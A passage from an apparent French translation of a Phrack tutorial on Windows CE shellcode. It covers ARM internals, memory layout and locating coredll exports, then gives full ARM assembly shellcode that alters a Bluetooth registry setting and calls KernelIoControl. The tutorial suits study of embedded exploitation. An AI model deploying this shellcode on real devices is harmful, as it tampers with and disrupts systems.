==Phrack Inc.== Volume 0x0b, Issue 0x3f, Phile #0x06 of 0x14 |=----------------------------------------------------------------------=| |=----------------------=[ Hacking Windows CE ]=------------------------=| |=----------------------------------------------------------------------=| |=----------------------=[ san ]=----------------------=| |=--------------=[ traduit par Aryliin pour arsouyes.org ]=-------------=| --[ Sommaire 1 - Résumé 2 - Vue d'ensemble de Windows CE 3 - Architecture ARM 4 - Gestion mémoire de Windows CE 5 - Processus et threads de Windows CE 6 - API de la technologie de recherche d'adresses de Windows CE 7 - Shellcode pour Windows CE 8 - Appels systèmes 9 - Exploitation d'un buffer overflow sur windows CE 10 - Shellcode de décodage 11 - Conclusion 12 - Remerciements 13 - References --[ 1 - Résumé Les caracteristiques réseau des PDA et portables deviennent de plus en plus puissantes, et les problemes de sécurité s'y rapportant attirent de plus en plus d'attention. Ce papier va montrer un exemple d'explotation de buffer overflow sur Windows CE. Il fournira des connaissances a propos de l'architecture ARM, la gestion mémoire, et les caractéristiques des processus et threads de Windows CE. Il montrera également comment écrire un shellcode pour Windows CE, en incluant les connaissances pour décoder un shellcode pour Windows CE avec un processeur ARM. --[ 2 - Vue d'ensemble de Windows CE Windows CE est un systeme d'explotation embarqué pour PDA et portables très populaire. Comme son nom l'indique, il est développé par Microsoft. Grâce à la similarité des API, les développeurs de Windows peuvent développer facilement des applications pour Windows CE. C'est peut être la raison la plus importante qui fait que Windows CE est populaire. Windows CE 5.0 est la dernière version, mais Windows CE.net(4.2) est la version la plus utilisée, et cet article est basé sur Windows CE.net. Pour des raisons marketing, Windows Mobile Software pour Pocket PC et le Smartphone sont considérés comme des produits indépendants, mais ils sont basé sur le noyau de Windows CE. Par défaut, Windows CE est de type little-endian et support plusieurs processeurs. --[ 3 - Architecture ARM Le processeur ARM est la puce la plus populaire dans les PDA et les portables, quasiment tous les appareils embarqués utilisent un CPU ARM. Les processeurs ARM sont des processeurs RISC qui implementent une architecture de Chargement/Rangement. Seule les instructions load et store peuvent acceder à la mémoire. Les instructions de traitement des données ne peuvent être utilisées que sur des registres. Ils y a 6 versions majeures de l'architecture ARM. Elles sont notées par des numéros de version de 1 à 6. Les processeurs ARM supportent sept modes de processeurs, dépendant de la version de l'architecture. Ces modes sont : User (Utilisateur), Fiq-Fast Interrupt Request(mode interruption rapide ou de petits processus fonctionnent),IRQ-Interrupt Request(mode interruption dans lequel des processus de controle fonctionnent), Supervisor (superviseur), Abort (où sont traitées les erreurs d'adresse), Undefined (instructions indéfinies) et System. Le mode System a besoin d'une architecture ARM v4 ou plus. Tous les modes sauf le mode User sont des modes privilégiés. Les applications peuvent s'executer uniquement sous le mode User, mais sur les pocket PC toutes les applications semblent tourner en mode noyau, et nous allons en parler plus tard. Les processeurs ARM ont 37 registes. Les registres sont disposés en bancs supperposés. Il y a un banc de registres par mode du processeur. Les registres dans des bancs permettent la commutation rapide du contexte pour traiter les exceptions du processeur et des opérations privilégiées. Dans l'architecture ARM v3 et après, il y a 30 registres de 32 bites d'usage général, le compteur programme (pc), le "current program status register"(CPSR - registre dédié à l'état courant du microprocesseur), et cinq "Saved Program Status Registers" (SPSRs - dédiés à la sauvegarde de l'état du microprocesseur). 15 registes d'usage général sont visibles à la fois, dépendant du mode de processeur courant. Les registres d'usage général visibles sont notés de r0 à r14. Par convention, r13 est utilisé pour le pointeur de pile (SP) dans le langage assembleur ARM. Les compilateurs C et C++ utilisent toujours le registre r13 comme pointeur de pile. En mode User et Systeme, r14 est utilisé comme registre de lien (lr) pour sauvegarder l'adresse de retour lorsqu'un appel a une sous routine est fait. Il peut également être utilisé comme registre d'usage général si l'adresse de retour est sauvegardée dans la pile. Le pointeur de programme est accessible dans r15 (pc). Il est incrémenté de quatre octets pour chaque instruction faite en état ARM, et de deux octets pour celles faites en état Thumn. Les instructions de branchement chargent leur adresse de destination dans le registre pc. Vous pouvez charger directement le registre pc en utilisant une instruction de traitement de données. Cette caractéristique est différente des autres processeurs et utile lorsque l'on écrit des shellcodes. --[ 4 - La gestion mémoire de Windows CE Comprendre la gestion mémoire est très important pour faire un exploit de type buffer overflow. La gestion mémoire de Windows CE est très différente des autres systèmes d'exploitation, même des autres systèmes Windows. Windows CE utilise la ROM (read only memory) et la RAM (random access memory). Le système d'exploitation se trouve entierement en ROM, ainsi que les applications livrées avec le système. Dans ce sens, la ROM dans Windows CE est comme un petit disque dur en lecture seule. Les données dans la ROM peuvent être maintenue sans l'energie d'une pile. Les fichiers DLL basés sur la ROM peuvent être désignés et executés sur place. XIP est la nouvelle caractéristque de Windows CE.net. C'est le fait qu'elles soient executées directement de la ROM au lieu de devoir être chargées en RAM, puis executées. C'est un gros avantage pour un système embarqué. Le code de la DLL ne prend pas la place de programmes en RAM et n'a pas a être recopié en RAM avant d'être executé. Les fichiers DLL qui ne sont pas en ROM mais sont contenus dans un objet stocké en carte de mémoire Flash ne sont pas executés sur place; ils sont copiés en RAM puis executés. La RAM dans le système Windows CE est divisé en deux parties : La mémoire des programmes et le stockage d'objets. Le stockage d'objets peut être considéré comme de la RAM virtuelle et permanente. Au contraire de la RAM sur les PC, le stockage d'objets maintient les fichiers stockés meme si le système est éteint. C'est la raison pour laquelle les périphériques Windows CE ont une pile principale et une pile de sauvegarde. Elles fournissent de l'energie pour que la RAM puisse maintenir les fichiers dans le stockage d'objets. Même si l'utilisateur appuie sur le bouton reset, le noyau de Windows CE commence par chercher une précédante version du stockage d'objet en RAM et l'utilise si il en trouve une. Une autre zone de cette RAM est utilisée pour le mémoire des programmes. La mémoire des programmes est utilisée comme la RAM des ordinateurs personnels. Elle charge les tas et les piles des applications lancées. La frontière entre le stockage d'objets et la RAM des programmes est ajustable. L'utilisateur peut changer la frontière entre le stockage d'objets et la RAM des programmes en utilisant la mini-application du Panneau de Contrôle Système. Windows CE est un système d'exploitation 32-bits, il supporte donc 4GB d'espace d'adressage virtuel. Sa disposition est la suivante : +----------------------------------------+ 0xFFFFFFFF | | | Adresse vituelles du Noyau: | | | 2 | KPAGE zone de deroutement, | | | G | KDataStruct, etc | | | B | ... | | | |--------------------------------+ 0xF0000000 | 4 | K | Mapping des adresse vituelles | | G | E | statiques | | B | R | ... | | | N |--------------------------------+ 0xC4000000 | V | E | NK.EXE | | I | L |--------------------------------+ 0xC2000000 | R | | ... | | T | | ... | | U |---|--------------------------------+ 0x80000000 | A | | Fichiers mappés en mémoire | | L | 2 | ... | | | G |--------------------------------+ 0x42000000 | A | B | emplacement 32 Processus 32 | | D | |--------------------------------+ 0x40000000 | D | U | ... | | R | S |--------------------------------+ 0x08000000 | E | E | emplacement 3 DEVICE.EXE | | S | R |--------------------------------+ 0x06000000 | S | | emplacement 2 FILESYS.EXE | | | |--------------------------------+ 0x04000000 | | | emplacement 1 XIP DLLs | | | |--------------------------------+ 0x02000000 | | | emplacement 0 Processus cournt| +---+---+--------------------------------+ 0x00000000 L'espace de 2GB du haut est l'espace noyau, utilisé par le système pour ses propres données. Et l'espace de 2GB du bas est l'espace utilisateur. De 0x42000000 jusqu'a 0x80000000, la mémoire est utilisée pour les grosses allocations mémoire, comme le mappage mémoire des fichiers, le stockage d'objet est également ici. De 0 à 0x42000000, la mémoire est divisée en 33 emplacements, de 32MB chacun. L'emplacement 0 est très important; c'est pour le processus courant. La disposition de l'adressage virtuel est la suivante : +---+------------------------------------+ 0x02000000 | | DLL Allocation mémoire virtuelle | | S | +--------------------------------| | L | | ROM DLLs:R/W Data | | O | |--------------------------------| | T | | RAM DLL+OverFlow ROM DLL: | | 0 | | Code+Data | | | +--------------------------------| | C +------+-----------------------------| | U | A | | R V | | | R +-------------------------+----------| | E |Allocation mémoire virtuelle général| | N | +--------------------------------| | T | | appels Processus VirtualAlloc()| | | |--------------------------------| | P | | Pile du thread | | R | |--------------------------------| | O | | Tas du thread | | C | |--------------------------------| | E | | Pile du thread | | S |---+--------------------------------| | S | Code et données du procesus | | |------------------------------------+ 0x00010000 | | Section(64K)de garde+UserKInfo | +---+------------------------------------+ 0x00000000 Les premiers 64kb sont reservés à l'OS. Le code du processus et les données sont mappés à partir de 0x00010000, suivent les piles et les tas. Les DLL sont chargées dans les adresse hautes. Une des caractéristiques de Windows CE.net est l'extension de l'espace d'adressage virtuel d'une application de 32MB, dans les premières versions de Windows CE, à 64MB, du au fait que l'emplacement 1 est utilisé comme XIP. --[ 5 - Processus et threads de Windows CE Les processus sont traités différement par Windows CE que par les autres systèmes Windows. Windows CE limite à 32 le nombre de processus pouvant tourner à la fois. Lorsque le système démarre, il y a au moins quatre processus de crées: NK.EXE, qui fournit les services noyau, il est toujours dans l'emplacement 97; FILESYS.EXE, qui fournit les services du système de fichiers, il est toujours dans l'emplacement 2; DEVICE.EXE, qui charge et maintient les drivers des périphériques pour le système, il se trouve normalement à l'emplacement 3; et GWES.EXE, qui fournit le support GUI, il est normalement à l'emplacement 4. Les autres processus sont aussi démarrés, comme EXPLORER.EXE. L'interpréteur de commandes est un processus interessant car il n'est pas en ROM. SHELL.EXE est CESH pour Windows CE, le moniteur basé sur les lignes de commande. Le seul moyen de le charger est de connecter le système à la station de déboggage, ainsi le fichier peut être automatiquement téléchargé du PC. Lorsque vous utilisez 'Plateform Builder' pour debogguer le système Windows CE, SHELL.EXE est automatiquement chargé dans l'emplacement après FILESYS.EXE. Les Threads sous Windows CE sont similaires aux threads sous les autres systèmes Windows. Chaque processus a au moins un thread primaire qui lui est associé a son démarrage, meme si il n'en crée pas un explicitement. Et un processus peut créer autant de threads additionnels qu'il en a besoin, dans la limite de la mémoire disponible. Chaque thread appartient a un processus particulier et partage le même espace mémoire. Mais SetProcPermissions(-1) donne le thread courant accédant à n'importe quel processus. Chaque thread a un ID, une pile privée et un jeu de registres. La taille de la pile de tous les threads crées par le processus est donnée par le gestionnaire de liens lorsque l'application est compilée. Les IDs des processus et des threads dans Windows CE sont les descripteurs correspondants aux processus et aux threads. C'est amusant, mais c'est utile lorsque l'on programmme. Lorsqu'un processus est chargé, le système va lui assigner le prochain emplacement libre. Les DLLs sont chargées dans l'emplacement, puis la pile et le tas du processus par défaut. Après tout ça, il est executé. Lorsque le thread d'un processus est planifié, le système va recopier son emplacement dans l'emplacement 0. Ce n'est pas une vraie recopie; il semblerait qu'il soit juste mappé dans l'emplacement 0. Si le processus devient inactif, il est remappé dans l'emplacement original alloué à celui-çi. Le noyau, le système de fichiers et le système de cades tournent à partir de leurs propres emplacements. Les processus allouent une pile pour chaque thread, la taille par défaut est 64KB, dépendant du paramètre de lien lorsque le programme est compilé. Les 2KB du haut sont utilisés pour prévenir des dépassements de tampons dans la pile, nous ne pouvons pas détruire cette endroit de la mémoire, sinon le système se gelera. Le reste est utilisable. Les varibles déclarées dans des fonctions sont allouées dans la pile. La pile d'un thread est libérée quand celui-ci se termine. --[ 6 - API de la technologie de recherche d'adresses de Windows CE Nous devons avoir un shellcode capable de tourner sous Windows CE avant de pouvoir faire un exploit. Windows CE est implémenté de manière compatible à Win32. Coredll donne les points d'entrée pour la plupart des API supportées par Windows CE. Il est donc chargé par chaque processus. Coredll.dll est comme kernel32.dll et ntdll.dll des autres systèmes Win32. Nous devons chercher Les adresses des API nécessaires à partir de coredll.dll puis les utiliser pour implémenter notre shellcode. La méthode traditionnelle pour implémenter un shellcode sous les autres systèmes Win32 est de situer l'adresse de base de kernel32.dll par une structure PEB, puis de chercher les adresses des API grâce au header PE. Premièrement, nous devons localiser l'adresse de base de coredll.dll. Y a-t'il une structure comme PEC sous Windows CE ? La réponse est oui. KDataStruct est une structure importante du noyau qui peut être accedée en mode utilisateur en utilisant l'adresse fixée PUserKData, et qui contient les données importantes du système, comme la liste des modules, le tas du noyau, et la table des pointeurs de l'API (SystemAPISets). La structure KDataStruc est définie dans nkarm.h: // WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\nkarm.h struct KDataStruct { LPDWORD lpvTls; /* 0x000 Current thread local storage pointer */ HANDLE ahSys[NUM_SYS_HANDLES]; /* 0x004 If this moves, change kapi.h */ char bResched; /* 0x084 reschedule flag */ char cNest; /* 0x085 kernel exception nesting */ char bPowerOff; /* 0x086 TRUE during "power off" processing */ char bProfileOn; /* 0x087 TRUE if profiling enabled */ ulong unused; /* 0x088 unused */ ulong rsvd2; /* 0x08c was DiffMSec */ PPROCESS pCurPrc; /* 0x090 ptr to current PROCESS struct */ PTHREAD pCurThd; /* 0x094 ptr to current THREAD struct */ DWORD dwKCRes; /* 0x098 */ ulong handleBase; /* 0x09c handle table base address */ PSECTION aSections[64]; /* 0x0a0 section table for virutal memory */ LPEVENT alpeIntrEvents[SYSINTR_MAX_DEVICES];/* 0x1a0 */ LPVOID alpvIntrData[SYSINTR_MAX_DEVICES]; /* 0x220 */ ulong pAPIReturn; /* 0x2a0 direct API return address for kernel mode */ uchar *pMap; /* 0x2a4 ptr to MemoryMap array */ DWORD dwInDebugger; /* 0x2a8 !0 when in debugger */ PTHREAD pCurFPUOwner; /* 0x2ac current FPU owner */ PPROCESS pCpuASIDPrc; /* 0x2b0 current ASID proc */ long nMemForPT; /* 0x2b4 - Memory used for PageTables */ long alPad[18]; /* 0x2b8 - padding */ DWORD aInfo[32]; /* 0x300 - misc. kernel info */ // WINCE420\PUBLIC\COMMON\OAK\INC\pkfuncs.h #define KINX_PROCARRAY 0 /* 0x300 address of process array */ #define KINX_PAGESIZE 1 /* 0x304 system page size */ #define KINX_PFN_SHIFT 2 /* 0x308 shift for page # in PTE */ #define KINX_PFN_MASK 3 /* 0x30c mask for page # in PTE */ #define KINX_PAGEFREE 4 /* 0x310 # of free physical pages */ #define KINX_SYSPAGES 5 /* 0x314 # of pages used by kernel */ #define KINX_KHEAP 6 /* 0x318 ptr to kernel heap array */ #define KINX_SECTIONS 7 /* 0x31c ptr to SectionTable array */ #define KINX_MEMINFO 8 /* 0x320 ptr to system MemoryInfo struct */ #define KINX_MODULES 9 /* 0x324 ptr to module list */ #define KINX_DLL_LOW 10 /* 0x328 lower bound of DLL shared space */ #define KINX_NUMPAGES 11 /* 0x32c total # of RAM pages */ #define KINX_PTOC 12 /* 0x330 ptr to ROM table of contents */ #define KINX_KDATA_ADDR 13 /* 0x334 kernel mode version of KData */ #define KINX_GWESHEAPINFO 14 /* 0x338 Current amount of gwes heap in use */ #define KINX_TIMEZONEBIAS 15 /* 0x33c Fast timezone bias info */ #define KINX_PENDEVENTS 16 /* 0x340 bit mask for pending interrupt events */ #define KINX_KERNRESERVE 17 /* 0x344 number of kernel reserved pages */ #define KINX_API_MASK 18 /* 0x348 bit mask for registered api sets */ #define KINX_NLS_CP 19 /* 0x34c hiword OEM code page, loword ANSI code page */ #define KINX_NLS_SYSLOC 20 /* 0x350 Default System locale */ #define KINX_NLS_USERLOC 21 /* 0x354 Default User locale */ #define KINX_HEAP_WASTE 22 /* 0x358 Kernel heap wasted space */ #define KINX_DEBUGGER 23 /* 0x35c For use by debugger for protocol communication */ #define KINX_APISETS 24 /* 0x360 APIset pointers */ #define KINX_MINPAGEFREE 25 /* 0x364 water mark of the minimum number of free pages */ #define KINX_CELOGSTATUS 26 /* 0x368 CeLog status flags */ #define KINX_NKSECTION 27 /* 0x36c Address of NKSection */ #define KINX_PWR_EVTS 28 /* 0x370 Events to be set after power on */ #define KINX_NKSIG 31 /* 0x37c last entry of KINFO -- signature when NK is ready */ #define NKSIG 0x4E4B5347 /* signature "NKSG" */ /* 0x380 - interlocked api code */ /* 0x400 - end */ }; /* KDataStruct */ /* Schéma de la mémoire haute * * Cette stucture est mappé à la fin des 4GB de l'espace d'adressage virtuel * * 0xFFFD0000 - Table des pages de premier niveau (uncached) (la seconde motiée est en lecture seule) * 0xFFFD4000 - désactivé pour protection * 0xFFFE0000 - Table des pages de second niveau (uncached) * 0xFFFE4000 - désactivé pour protection * 0xFFFF0000 - vecteurs d'exceptions * 0xFFFF0400 - non utilisés (lecture seule) * 0xFFFF1000 - désactivé pour protection * 0xFFFF2000 - lecture seule (chevauchements physiques avec vecteurs) * 0xFFFF2400 - Pile d'interruption (1k) * 0xFFFF2800 - lecture seule (chevauchements physiques avec pile d'arrêt et de FIQ) * 0xFFFF3000 - désactivé pour protection * 0xFFFF4000 - lecture seule(chevauchements physiques avec vecteurs & pile d'interruption & pile FIQ ) * 0xFFFF4900 - pile d'arrêt(2k - 256 bytes) * 0xFFFF5000 - désactivé pour protection * 0xFFFF6000 - lecture seule (chevauchements physiques avec vecteurs & pile d'interruption ) * 0xFFFF6800 - pile de FIQ (256 bytes) * 0xFFFF6900 - lecture seule (chevauchements physiques avec pile d'arrêt) * 0xFFFF7000 - désactivé * 0xFFFFC000 - pile du noyau * 0xFFFFC800 - KDataStruct * 0xFFFFCC00 - désactivé pour protection (table des pages de second niveau pour 0xFFF00000) */ La valeur de PUserKData est fixée à 0xFFFFC800 sur un processeur ARM, et 0x00005800 sur les autres CPUs. Le dernier membre de KDataStruct est aInfo. Il est à l'offset 0x300 à partir de l'adresse de début de la structure KDataStruct. Le membre aInfo est un tableau de DWORD, c'est un pointeur sur la liste des modules dans l'indexe 9(KINX_MODULES), et il est définit dans pkfuncs.h. Les offsets de 0x324 à 0xFFFFC800 sont le pointeur sur la liste des modules. Bien, regardons la structure d'un module. J'ai marqué l'offset de la structure comme ci dessous: // WINCE420\PRIVATE\WINCEOS\COREOS\NK\INC\kernel.h typedef struct Module { LPVOID lpSelf; /* 0x00 pointeur sur soi pour validation */ PMODULE pMod; /* 0x04 Prochain module dans la chaîne */ LPWSTR lpszModName; /* 0x08 Nom du module */ DWORD inuse; /* 0x0c Vector de bit d'utilisation */ DWORD calledfunc; /* 0x10 Entrées appelées mais non ressorties */ WORD refcnt[MAX_PROCESSES]; /* 0x14 Pointeur de référence par processus*/ LPVOID BasePtr; /* 0x54 Pointeur de base du chargement des dll (non basé sur 0) */ DWORD DbgFlags; /* 0x58 Flags de déboggage */ LPDBGPARAM ZonePtr; /* 0x5c Pointeur de zone de déboggage */ ulong startip; /* 0x60 Point d'entrée basé sur 0 */ openexe_t oe; /* 0x64 Pointeur sur le descripteur de fichier executable */ e32_lite e32; /* 0x74 E32 header */ // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h typedef struct e32_lite { /* PE 32-bit .EXE header */ unsigned short e32_objcnt; /* 0x74 Nombre d'objets mémoire */ BYTE e32_cevermajor; /* 0x76 version de CE */ BYTE e32_ceverminor; /* 0x77 version de CE */ unsigned long e32_stackmax; /* 0x78 Taille maximum de pile */ unsigned long e32_vbase; /* 0x7c Adresse virtuelle de base d'un module*/ unsigned long e32_vsize; /* 0x80 Taille virtuelle des images entières */ unsigned long e32_sect14rva; /* 0x84 section 14 rva */ unsigned long e32_sect14size; /* 0x88 taille de la section 14 */ struct info e32_unit[LITE_EXTRA]; /* 0x8c Tableau d'informations supplémentaires */ // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h struct info { /* Block de tête d'informations supplémentaires */ unsigned long rva; /* Adresse relative virtuelle d'infortmation */ unsigned long size; /* Taille d'un bloc d'information */ } // WINCE420\PUBLIC\COMMON\OAK\INC\pehdr.h #define EXP 0 /* 0x8c position de la table Export */ #define IMP 1 /* 0x94 position de la table Import */ #define RES 2 /* 0x9c position de la table Resource */ #define EXC 3 /* 0xa4 position de la table Exception */ #define SEC 4 /* 0xac position de la table Security */ #define FIX 5 /* 0xb4 position de la table Fixup */ #define LITE_EXTRA 6 /* Seulement 6 sont utilisés par NK */ } e32_lite, *LPe32_list; o32_lite *o32_ptr; /* 0xbc O32 pointeur de chaîne */ DWORD dwNoNotify; /* 0xc0 1 bit par processus, à mettre si les notifications ne sont pas permises */ WORD wFlags; /* 0xc4 */ BYTE bTrustLevel; /* 0xc6 */ BYTE bPadding; /* 0xc7 */ PMODULE pmodResource; /* 0xc8 module contenant les ressources */ DWORD rwLow; /* 0xcc adresse de base de la section lecture/écriture de la DLL ROM */ DWORD rwHigh; /* 0xd0 adresses hautes de la section lecture/écriture de la DLL ROM */ PGPOOL_Q pgqueue; /* 0xcc liste des pages appartenant au module */ } Module; La structure module est définie dans kernel.h. Le troisième membre de la structure Module est lpszModName, qui est le pointeur du nom du module et son offset est 0x08 à partir du début de la structure Module. Le nom du Module est une chaîne unicode. Le second membre de la structure Module est pMod, c'est un pointeur sur l'adresse du prochain module dans la chaîne. Nous pouvons ainsi situer le module coredll en comparant la chaîne unicode de son nom. A l'offset 0x74 à partir du début de la structure Module se trouve le membre e32 et c'est une structure e32_lite. Regardons donc cette structure e32_lite, qui est définie dans pehdr.h. Dans la structure e32_lite, le membre e32_vbase peut nous dire l'adresse virtuelle de base du module. Elle est a l'offset 0x7c à partir du début de la structure. Nous pouvons aussi remarquer le membre e32_unit[LITE_EXTRA], c'est une tableau d'information de la structure. LITE_EXTRA est définit à 6 , au début de pehdr.h, seuls les 6 premiers sont utilisés par NK et le premier est la table des positions exportée. Donc à l'offset 0x8C à partir du début de la structure Module, nous trouvons l'adresse virtuelle relative de la position de la table des exports du module. Maintenant, nous avons l'adresse vituelle de base de coredll.dll et l'adresse virtuelle relative de la postition de sa table d'exportation. J'ai écrit un petit programme pour lister tous les modules du système : ; SetProcessorMode.s AREA |.text|, CODE, ARM EXPORT |SetProcessorMode| |SetProcessorMode| PROC mov r1, lr ; les différents modes utilisent des lr différents - à sauvegarder msr cpsr_c, r0 ; met les bits de control de CPSR mov pc, r1 ; retour END // list.cpp /* ... 01F60000 coredll.dll */ #include "stdafx.h" extern "C" void __stdcall SetProcessorMode(DWORD pMode); int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPTSTR lpCmdLine, int nCmdShow) { FILE *fp; unsigned int KDataStruct = 0xFFFFC800; void *Modules = NULL, *BaseAddress = NULL, *DllName = NULL; // Passe en mode User //SetProcessorMode(0x10); if ( (fp = fopen("\\modules.txt", "w")) == NULL ) { return 1; } // aInfo[KINX_MODULES] Modules = *( ( void ** )(KDataStruct + 0x324)); while (Modules) { BaseAddress = *( ( void ** )( ( unsigned char * )Modules + 0x7c ) ); DllName = *( ( void ** )( ( unsigned char * )Modules + 0x8 ) ); fprintf(fp, "%08X %ls\n", BaseAddress, DllName); Modules = *( ( void ** )( ( unsigned char * )Modules + 0x4 ) ); } fclose(fp); return(EXIT_SUCCESS); } Dans mon environnement, la structure Module est 0x8F453128 qui est dans l'espace noyau. La plupart des ROMs de Pocket PC sont construites avec une option qui permet le mode entierement en mode Noyau, donc les applications semblent tourner en mode noyau. Les premiers 5 bits du registre Pst sont 0x1F lors du déboggage, ce qui signifie que le processeur ARM tourne en mode système. Cette valeur est définie dans nkarm.h: // modes du processeur ARM #define USER_MODE 0x10 // 0b10000 #define FIQ_MODE 0x11 // 0b10001 #define IRQ_MODE 0x12 // 0b10010 #define SVC_MODE 0x13 // 0b10011 #define ABORT_MODE 0x17 // 0b10111 #define UNDEF_MODE 0x1b // 0b11011 #define SYSTEM_MODE 0x1f // 0b11111 J'ai écrit une petite fonction en assembleur qui change le mode du processeur parce que EVC ne supporte pas l'inclusion d'assembleur. Le programme ne prendra pas la valeur de BaseAdress et DllName quand j'aurais passé le processeur en mode User. Cela soulève une exception de violation d'accès. J'utilise ce programme pour récupèrer l'adresse virtuelle de base de coredll.dll qui est 0x01F60000 sans changer de mode de processeur. Mais cette adresse est unvalide si j'utilise EVC debugger pour regarder à l'interieur et les données valides démarrent de 0x01f61000. Je pense que Windows CE a peut être pour but de sauvegarder l'espace mémoire ou le temps, donc il ne charge pas le header des fichiers dll. Comme nous avons l'adresse vituelle de base de coredll.dll et l'adresse relative virtuelle de position de la table d'export, nous pouvons alors répéter la comparaison du nom de l'API par la structure IMAGE_EXPORT_DIRECTORY, nous pouvons récupérer l'adresse de l'API. La structure IMAGE_EXPORT_DIRECTORY est comme dans les autres systèmes Win32, elle est définie dans winnt.h: // WINCE420\PUBLIC\COMMON\SDK\INC\winnt.h typedef struct _IMAGE_EXPORT_DIRECTORY { DWORD Characteristics; /* 0x00 */ DWORD TimeDateStamp; /* 0x04 */ WORD MajorVersion; /* 0x08 */ WORD MinorVersion; /* 0x0a */ DWORD Name; /* 0x0c */ DWORD Base; /* 0x10 */ DWORD NumberOfFunctions; /* 0x14 */ DWORD NumberOfNames; /* 0x18 */ DWORD AddressOfFunctions; // 0x1c RVA from base of image DWORD AddressOfNames; // 0x20 RVA from base of image DWORD AddressOfNameOrdinals; // 0x24 RVA from base of image } IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY; --[ 7 - Le Shellcode pour Windows CE Il y a quelque chose a remarquer avant d'écrire une shellcode pour Windows CE. Windows CE utilise r0-r3 comme les quatre premiers paramètes de l'API, si les paramètres de l'API sont plus que quatre, Windows CE va alors utiliser la pile pour ranger les autres paramètres. Il faut donc faire attention en écrivant le shellcode, parce que le shellcode va se retrouver dans la pile. Le fichier test.asm est notre shellcode: ; Idée de WinCE4.Dust écrit par Ratter/29A ; ; Recherche de l'adresse de l'API ; san@xfocus.org ; ; armasm test.asm ; link /MACHINE:ARM /SUBSYSTEM:WINDOWSCE test.obj CODE32 EXPORT WinMainCRTStartup AREA .text, CODE, ARM test_start ; r11 - base pointer test_code_start PROC bl get_export_section mov r2, #4 ; nombre de fonctions bl find_func sub sp, sp, #0x89, 30 ; bizarre après un buffer overflow add r0, sp, #8 str r0, [sp] mov r3, #2 mov r2, #0 adr r1, key mov r0, #0xA, 2 mov lr, pc ldr pc, [r8, #-12] ; RegOpenKeyExW mov r0, #1 str r0, [sp, #0xC] mov r3, #4 str r3, [sp, #4] add r1, sp, #0xC str r1, [sp] ;mov r2, #0 adr r1, val ldr r0, [sp, #8] mov lr, pc ldr pc, [r8, #-8] ; RegSetValueExW ldr r0, [sp, #8] mov lr, pc ldr pc, [r8, #-4] ; RegCloseKey adr r0, sf ldr r0, [r0] ;ldr r0, =0x0101003c mov r1, #0 mov r2, #0 mov r3, #0 mov lr, pc ldr pc, [r8, #-16] ; KernelIoControl ; comparaison de base de grande chaînes de caractères wstrcmp PROC wstrcmp_iterate ldrh r2, [r0], #2 ldrh r3, [r1], #2 cmp r2, #0 cmpeq r3, #0 moveq pc, lr cmp r2, r3 beq wstrcmp_iterate mov pc, lr ENDP ; sortie: ; r0 - coredll base addr ; r1 - export section addr get_export_section PROC mov r11, lr adr r4, kd ldr r4, [r4] ;ldr r4, =0xffffc800 ; KDataStruct ldr r5, =0x324 ; aInfo[KINX_MODULES] add r5, r4, r5 ldr r5, [r5] ; r5 pointe maintenant sur le premier module mov r6, r5 mov r7, #0 iterate ldr r0, [r6, #8] ; récupèration du nom de la dll adr r1, coredll bl wstrcmp ; comparaison avec coredll.dll ldreq r7, [r6, #0x7c] ; récupèration de la base de la dll ldreq r8, [r6, #0x8c] ; récupèreation de la section export rva add r9, r7, r8 beq got_coredllbase ; est-ce que c'est ce qu'on recherche ? ldr r6, [r6, #4] cmp r6, #0 cmpne r6, r5 bne iterate ; non, continuons got_coredllbase mov r0, r7 add r1, r8, r7 ; oui, nous avons trouvé imagebase ; et le pointeur de section d'export mov pc, r11 ENDP ; r0 - adresse de base de coredll ; r1 - adresse de la section export ; r2 - adresse du nom de la fonction function find_func PROC adr r8, fn find_func_loop ldr r4, [r1, #0x20] ; AddressOfNames add r4, r4, r0 mov r6, #0 ; compteur find_start ldr r7, [r4], #4 add r7, r7, r0 ; pointeur de nom de fonction ;mov r8, r2 ; trouver le nom de la fonction mov r10, #0 hash_loop ldrb r9, [r7], #1 cmp r9, #0 beq hash_end add r10, r9, r10, ROR #7 b hash_loop hash_end ldr r9, [r8] cmp r10, r9 ; comparer les hash addne r6, r6, #1 bne find_start ldr r5, [r1, #0x24] ; AddressOfNameOrdinals add r5, r5, r0 add r6, r6, r6 ldrh r9, [r5, r6] ; Ordinals ldr r5, [r1, #0x1c] ; AddressOfFunctions add r5, r5, r0 ldr r9, [r5, r9, LSL #2]; adresse de la fonction rva add r9, r9, r0 ; adresse de la fonction str r9, [r8], #4 subs r2, r2, #1 bne find_func_loop mov pc, lr ENDP kd DCB 0x00, 0xc8, 0xff, 0xff ; 0xffffc800 sf DCB 0x3c, 0x00, 0x01, 0x01 ; 0x0101003c fn DCB 0xe7, 0x9d, 0x3a, 0x28 ; KernelIoControl DCB 0x51, 0xdf, 0xf7, 0x0b ; RegOpenKeyExW DCB 0xc0, 0xfe, 0xc0, 0xd8 ; RegSetValueExW DCB 0x83, 0x17, 0x51, 0x0e ; RegCloseKey key DCB "S", 0x0, "O", 0x0, "F", 0x0, "T", 0x0, "W", 0x0, "A", 0x0, "R", 0x0, "E", 0x0 DCB "\\", 0x0, "\\", 0x0, "W", 0x0, "i", 0x0, "d", 0x0, "c", 0x0, "o", 0x0, "m", 0x0 DCB "m", 0x0, "\\", 0x0, "\\", 0x0, "B", 0x0, "t", 0x0, "C", 0x0, "o", 0x0, "n", 0x0 DCB "f", 0x0, "i", 0x0, "g", 0x0, "\\", 0x0, "\\", 0x0, "G", 0x0, "e", 0x0, "n", 0x0 DCB "e", 0x0, "r", 0x0, "a", 0x0, "l", 0x0, 0x0, 0x0, 0x0, 0x0 val DCB "S", 0x0, "t", 0x0, "a", 0x0, "c", 0x0, "k", 0x0, "M", 0x0, "o", 0x0, "d", 0x0 DCB "e", 0x0, 0x0, 0x0 coredll DCB "c", 0x0, "o", 0x0, "r", 0x0, "e", 0x0, "d", 0x0, "l", 0x0, "l", 0x0 DCB ".", 0x0, "d", 0x0, "l", 0x0, "l", 0x0, 0x0, 0x0 ALIGN 4 LTORG test_end WinMainCRTStartup PROC b test_code_start ENDP END Ce shellcode est construit avec trois parties. Premièrement, il appelle la fonction get_export_section pour obtenir l'adresse virtuelle de base de coredll et l'adresse virtuelle relative de la position de la table d'export. Elles sont stockées dans les registres r0 et r1. Deuxièmement, il appelle la fonction 